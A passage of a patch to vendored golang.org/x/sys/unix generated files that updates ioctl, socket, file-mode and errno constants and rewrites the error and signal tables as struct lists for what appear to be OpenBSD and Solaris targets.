-+ SIOCBRDGDEL = 0x8060693d
-+ SIOCBRDGDELS = 0x80606942
-+ SIOCBRDGFLUSH = 0x80606948
-+ SIOCBRDGFRL = 0x808c694e
-+ SIOCBRDGGCACHE = 0xc0186941
-+ SIOCBRDGGFD = 0xc0186952
-+ SIOCBRDGGHT = 0xc0186951
-+ SIOCBRDGGIFFLGS = 0xc060693e
-+ SIOCBRDGGMA = 0xc0186953
- SIOCBRDGGPARAM = 0xc0406958
-- SIOCBRDGGPRI = 0xc0146950
-+ SIOCBRDGGPRI = 0xc0186950
- SIOCBRDGGRL = 0xc030694f
-- SIOCBRDGGSIFS = 0xc058693c
-- SIOCBRDGGTO = 0xc0146946
-- SIOCBRDGIFS = 0xc0586942
-+ SIOCBRDGGTO = 0xc0186946
-+ SIOCBRDGIFS = 0xc0606942
- SIOCBRDGRTS = 0xc0206943
- SIOCBRDGSADDR = 0xc1286944
-- SIOCBRDGSCACHE = 0x80146940
-- SIOCBRDGSFD = 0x80146952
-- SIOCBRDGSHT = 0x80146951
-- SIOCBRDGSIFCOST = 0x80586955
-- SIOCBRDGSIFFLGS = 0x8058693f
-- SIOCBRDGSIFPRIO = 0x80586954
-- SIOCBRDGSMA = 0x80146953
-- SIOCBRDGSPRI = 0x80146950
-- SIOCBRDGSPROTO = 0x8014695a
-- SIOCBRDGSTO = 0x80146945
-- SIOCBRDGSTXHC = 0x80146959
-+ SIOCBRDGSCACHE = 0x80186940
-+ SIOCBRDGSFD = 0x80186952
-+ SIOCBRDGSHT = 0x80186951
-+ SIOCBRDGSIFCOST = 0x80606955
-+ SIOCBRDGSIFFLGS = 0x8060693f
-+ SIOCBRDGSIFPRIO = 0x80606954
-+ SIOCBRDGSIFPROT = 0x8060694a
-+ SIOCBRDGSMA = 0x80186953
-+ SIOCBRDGSPRI = 0x80186950
-+ SIOCBRDGSPROTO = 0x8018695a
-+ SIOCBRDGSTO = 0x80186945
-+ SIOCBRDGSTXHC = 0x80186959
-+ SIOCDELLABEL = 0x80206997
- SIOCDELMULTI = 0x80206932
- SIOCDIFADDR = 0x80206919
- SIOCDIFGROUP = 0x80286989
-+ SIOCDIFPARENT = 0x802069b4
- SIOCDIFPHYADDR = 0x80206949
-- SIOCDLIFADDR = 0x8218691e
-+ SIOCDPWE3NEIGHBOR = 0x802069de
-+ SIOCDVNETID = 0x802069af
- SIOCGETKALIVE = 0xc01869a4
- SIOCGETLABEL = 0x8020699a
-+ SIOCGETMPWCFG = 0xc02069ae
- SIOCGETPFLOW = 0xc02069fe
- SIOCGETPFSYNC = 0xc02069f8
- SIOCGETSGCNT = 0xc0207534
- SIOCGETVIFCNT = 0xc0287533
- SIOCGETVLAN = 0xc0206990
-- SIOCGHIWAT = 0x40047301
- SIOCGIFADDR = 0xc0206921
-- SIOCGIFASYNCMAP = 0xc020697c
- SIOCGIFBRDADDR = 0xc0206923
- SIOCGIFCONF = 0xc0106924
- SIOCGIFDATA = 0xc020691b
-@@ -1119,40 +1229,52 @@ const (
- SIOCGIFFLAGS = 0xc0206911
- SIOCGIFGATTR = 0xc028698b
- SIOCGIFGENERIC = 0xc020693a
-+ SIOCGIFGLIST = 0xc028698d
- SIOCGIFGMEMB = 0xc028698a
- SIOCGIFGROUP = 0xc0286988
- SIOCGIFHARDMTU = 0xc02069a5
-- SIOCGIFMEDIA = 0xc0306936
-+ SIOCGIFLLPRIO = 0xc02069b6
-+ SIOCGIFMEDIA = 0xc0406938
- SIOCGIFMETRIC = 0xc0206917
- SIOCGIFMTU = 0xc020697e
- SIOCGIFNETMASK = 0xc0206925
-- SIOCGIFPDSTADDR = 0xc0206948
-+ SIOCGIFPAIR = 0xc02069b1
-+ SIOCGIFPARENT = 0xc02069b3
- SIOCGIFPRIORITY = 0xc020699c
-- SIOCGIFPSRCADDR = 0xc0206947
- SIOCGIFRDOMAIN = 0xc02069a0
- SIOCGIFRTLABEL = 0xc0206983
-- SIOCGIFTIMESLOT = 0xc0206986
-+ SIOCGIFRXR = 0x802069aa
-+ SIOCGIFSFFPAGE = 0xc1126939
- SIOCGIFXFLAGS = 0xc020699e
-- SIOCGLIFADDR = 0xc218691d
- SIOCGLIFPHYADDR = 0xc218694b
-+ SIOCGLIFPHYDF = 0xc02069c2
-+ SIOCGLIFPHYECN = 0xc02069c8
- SIOCGLIFPHYRTABLE = 0xc02069a2
- SIOCGLIFPHYTTL = 0xc02069a9
-- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
-+ SIOCGPWE3 = 0xc0206998
-+ SIOCGPWE3CTRLWORD = 0xc02069dc
-+ SIOCGPWE3FAT = 0xc02069dd
-+ SIOCGPWE3NEIGHBOR = 0xc21869de
- SIOCGSPPPPARAMS = 0xc0206994
-+ SIOCGTXHPRIO = 0xc02069c6
-+ SIOCGUMBINFO = 0xc02069be
-+ SIOCGUMBPARAM = 0xc02069c0
- SIOCGVH = 0xc02069f6
-+ SIOCGVNETFLOWID = 0xc02069c4
- SIOCGVNETID = 0xc02069a7
-+ SIOCIFAFATTACH = 0x801169ab
-+ SIOCIFAFDETACH = 0x801169ac
- SIOCIFCREATE = 0x8020697a
- SIOCIFDESTROY = 0x80206979
- SIOCIFGCLONERS = 0xc0106978
- SIOCSETKALIVE = 0x801869a3
- SIOCSETLABEL = 0x80206999
-+ SIOCSETMPWCFG = 0x802069ad
- SIOCSETPFLOW = 0x802069fd
- SIOCSETPFSYNC = 0x802069f7
- SIOCSETVLAN = 0x8020698f
-- SIOCSHIWAT = 0x80047300
- SIOCSIFADDR = 0x8020690c
-- SIOCSIFASYNCMAP = 0x8020697d
- SIOCSIFBRDADDR = 0x80206913
- SIOCSIFDESCR = 0x80206980
- SIOCSIFDSTADDR = 0x8020690e
-@@ -1160,25 +1282,41 @@ const (
- SIOCSIFGATTR = 0x8028698c
- SIOCSIFGENERIC = 0x80206939
- SIOCSIFLLADDR = 0x8020691f
-- SIOCSIFMEDIA = 0xc0206935
-+ SIOCSIFLLPRIO = 0x802069b5
-+ SIOCSIFMEDIA = 0xc0206937
- SIOCSIFMETRIC = 0x80206918
- SIOCSIFMTU = 0x8020697f
- SIOCSIFNETMASK = 0x80206916
-- SIOCSIFPHYADDR = 0x80406946
-+ SIOCSIFPAIR = 0x802069b0
-+ SIOCSIFPARENT = 0x802069b2
- SIOCSIFPRIORITY = 0x8020699b
- SIOCSIFRDOMAIN = 0x8020699f
- SIOCSIFRTLABEL = 0x80206982
-- SIOCSIFTIMESLOT = 0x80206985
- SIOCSIFXFLAGS = 0x8020699d
- SIOCSLIFPHYADDR = 0x8218694a
-+ SIOCSLIFPHYDF = 0x802069c1
-+ SIOCSLIFPHYECN = 0x802069c7
- SIOCSLIFPHYRTABLE = 0x802069a1
- SIOCSLIFPHYTTL = 0x802069a8
-- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
-+ SIOCSPWE3CTRLWORD = 0x802069dc
-+ SIOCSPWE3FAT = 0x802069dd
-+ SIOCSPWE3NEIGHBOR = 0x821869de
- SIOCSSPPPPARAMS = 0x80206993
-+ SIOCSTXHPRIO = 0x802069c5
-+ SIOCSUMBPARAM = 0x802069bf
- SIOCSVH = 0xc02069f5
-+ SIOCSVNETFLOWID = 0x802069c3
- SIOCSVNETID = 0x802069a6
-+ SIOCSWGDPID = 0xc018695b
-+ SIOCSWGMAXFLOW = 0xc0186960
-+ SIOCSWGMAXGROUP = 0xc018695d
-+ SIOCSWSDPID = 0x8018695c
-+ SIOCSWSPORTNO = 0xc060695f
-+ SOCK_CLOEXEC = 0x8000
- SOCK_DGRAM = 0x2
-+ SOCK_DNS = 0x1000
-+ SOCK_NONBLOCK = 0x4000
- SOCK_RAW = 0x3
- SOCK_RDM = 0x4
- SOCK_SEQPACKET = 0x5
-@@ -1209,9 +1347,42 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ SO_ZEROIZE = 0x2000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
-+ TCIOFF = 0x3
- TCIOFLUSH = 0x3
-+ TCION = 0x4
- TCOFLUSH = 0x2
-+ TCOOFF = 0x1
-+ TCOON = 0x2
- TCP_MAXBURST = 0x4
- TCP_MAXSEG = 0x2
- TCP_MAXWIN = 0xffff
-@@ -1221,11 +1392,14 @@ const (
- TCP_MSS = 0x200
- TCP_NODELAY = 0x1
- TCP_NOPUSH = 0x10
-- TCP_NSTATES = 0xb
- TCP_SACK_ENABLE = 0x8
- TCSAFLUSH = 0x2
-+ TIMER_ABSTIME = 0x1
-+ TIMER_RELTIME = 0x0
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
-+ TIOCCHKVERAUTH = 0x2000741e
-+ TIOCCLRVERAUTH = 0x2000741d
- TIOCCONS = 0x80047462
- TIOCDRAIN = 0x2000745e
- TIOCEXCL = 0x2000740d
-@@ -1280,17 +1454,21 @@ const (
- TIOCSETAF = 0x802c7416
- TIOCSETAW = 0x802c7415
- TIOCSETD = 0x8004741b
-+ TIOCSETVERAUTH = 0x8004741c
- TIOCSFLAGS = 0x8004745c
- TIOCSIG = 0x8004745f
- TIOCSPGRP = 0x80047476
- TIOCSTART = 0x2000746e
-- TIOCSTAT = 0x80047465
-- TIOCSTI = 0x80017472
-+ TIOCSTAT = 0x20007465
- TIOCSTOP = 0x2000746f
- TIOCSTSTAMP = 0x8008745a
- TIOCSWINSZ = 0x80087467
- TIOCUCNTL = 0x80047466
-+ TIOCUCNTL_CBRK = 0x7a
-+ TIOCUCNTL_SBRK = 0x7b
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x1
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1301,6 +1479,19 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_ANONMIN = 0x7
-+ VM_LOADAVG = 0x2
-+ VM_MALLOC_CONF = 0xc
-+ VM_MAXID = 0xd
-+ VM_MAXSLP = 0xa
-+ VM_METER = 0x1
-+ VM_NKMEMPAGES = 0x6
-+ VM_PSSTRINGS = 0x3
-+ VM_SWAPENCRYPT = 0x5
-+ VM_USPACE = 0xb
-+ VM_UVMEXP = 0x4
-+ VM_VNODEMIN = 0x9
-+ VM_VTEXTMIN = 0x8
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1313,8 +1504,8 @@ const (
- WCONTINUED = 0x8
- WCOREFLAG = 0x80
- WNOHANG = 0x1
-- WSTOPPED = 0x7f
- WUNTRACED = 0x2
-+ XCASE = 0x1000000
- )
-
- // Errors
-@@ -1328,6 +1519,7 @@ const (
- EALREADY = syscall.Errno(0x25)
- EAUTH = syscall.Errno(0x50)
- EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x5c)
- EBADRPC = syscall.Errno(0x48)
- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x58)
-@@ -1354,7 +1546,7 @@ const (
- EIPSEC = syscall.Errno(0x52)
- EISCONN = syscall.Errno(0x38)
- EISDIR = syscall.Errno(0x15)
-- ELAST = syscall.Errno(0x5b)
-+ ELAST = syscall.Errno(0x5f)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x56)
- EMFILE = syscall.Errno(0x18)
-@@ -1382,12 +1574,14 @@ const (
- ENOTCONN = syscall.Errno(0x39)
- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
-+ ENOTRECOVERABLE = syscall.Errno(0x5d)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x5b)
- ENOTTY = syscall.Errno(0x19)
- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x57)
-+ EOWNERDEAD = syscall.Errno(0x5e)
- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
- EPIPE = syscall.Errno(0x20)
-@@ -1395,6 +1589,7 @@ const (
- EPROCUNAVAIL = syscall.Errno(0x4c)
- EPROGMISMATCH = syscall.Errno(0x4b)
- EPROGUNAVAIL = syscall.Errno(0x4a)
-+ EPROTO = syscall.Errno(0x5f)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
- ERANGE = syscall.Errno(0x22)
-@@ -1452,132 +1647,144 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ENOTSUP", "not supported"},
-+ {92, "EBADMSG", "bad message"},
-+ {93, "ENOTRECOVERABLE", "state not recoverable"},
-+ {94, "EOWNERDEAD", "previous owner died"},
-+ {95, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-index 81e83d78..46e054cc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_solaris_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,solaris
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -664,6 +664,9 @@ const (
- MS_OLDSYNC = 0x0
- MS_SYNC = 0x4
- M_FLUSH = 0x86
-+ NAME_MAX = 0xff
-+ NEWDEV = 0x1
-+ NFDBITS = 0x40
- NL0 = 0x0
- NL1 = 0x100
- NLDLY = 0x100
-@@ -672,6 +675,9 @@ const (
- OFDEL = 0x80
- OFILL = 0x40
- OLCUC = 0x2
-+ OLDDEV = 0x0
-+ ONBITSMAJOR = 0x7
-+ ONBITSMINOR = 0x8
- ONLCR = 0x4
- ONLRET = 0x20
- ONOCR = 0x10
-@@ -991,6 +997,39 @@ const (
- SO_USELOOPBACK = 0x40
- SO_VRRP = 0x1017
- SO_WROFF = 0x2
-+ S_ENFMT = 0x400
-+ S_IAMB = 0x1ff
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFDOOR = 0xd000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFNAM = 0x5000
-+ S_IFPORT = 0xe000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_INSEM = 0x1
-+ S_INSHD = 0x2
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB1 = 0x800
- TAB2 = 0x1000
-@@ -1097,6 +1136,8 @@ const (
- TIOCSTOP = 0x746f
- TIOCSWINSZ = 0x5467
- TOSTOP = 0x100
-+ UTIME_NOW = -0x1
-+ UTIME_OMIT = -0x2
- VCEOF = 0x8
- VCEOL = 0x9
- VDISCARD = 0xd
-@@ -1105,6 +1146,7 @@ const (
- VEOL = 0x5
- VEOL2 = 0x6
- VERASE = 0x2
-+ VERASE2 = 0x11
- VINTR = 0x0
- VKILL = 0x3
- VLNEXT = 0xf
-@@ -1313,171 +1355,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "not owner",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "I/O error",
-- 6: "no such device or address",
-- 7: "arg list too long",
-- 8: "exec format error",
-- 9: "bad file number",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "not enough space",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "file table overflow",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "argument out of domain",
-- 34: "result too large",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "deadlock situation detected/avoided",
-- 46: "no record locks available",
-- 47: "operation canceled",
-- 48: "operation not supported",
-- 49: "disc quota exceeded",
-- 50: "bad exchange descriptor",
-- 51: "bad request descriptor",
-- 52: "message tables full",
-- 53: "anode table overflow",
-- 54: "bad request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock",
-- 57: "bad font file format",
-- 58: "owner of the lock died",
-- 59: "lock is not recoverable",
-- 60: "not a stream device",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of stream resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "locked lock was unmapped ",
-- 73: "facility is not active",
-- 74: "multihop attempted",
-- 77: "not a data message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in more shared libraries than system limit",
-- 87: "can not exec a shared library directly",
-- 88: "illegal byte sequence",
-- 89: "operation not applicable",
-- 90: "number of symbolic links encountered during path name traversal exceeds MAXSYMLINKS",
-- 91: "error 91",
-- 92: "error 92",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "option not supported by protocol",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported on transport endpoint",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol family",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection because of reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 143: "cannot send after socket shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale NFS file handle",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "not owner"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
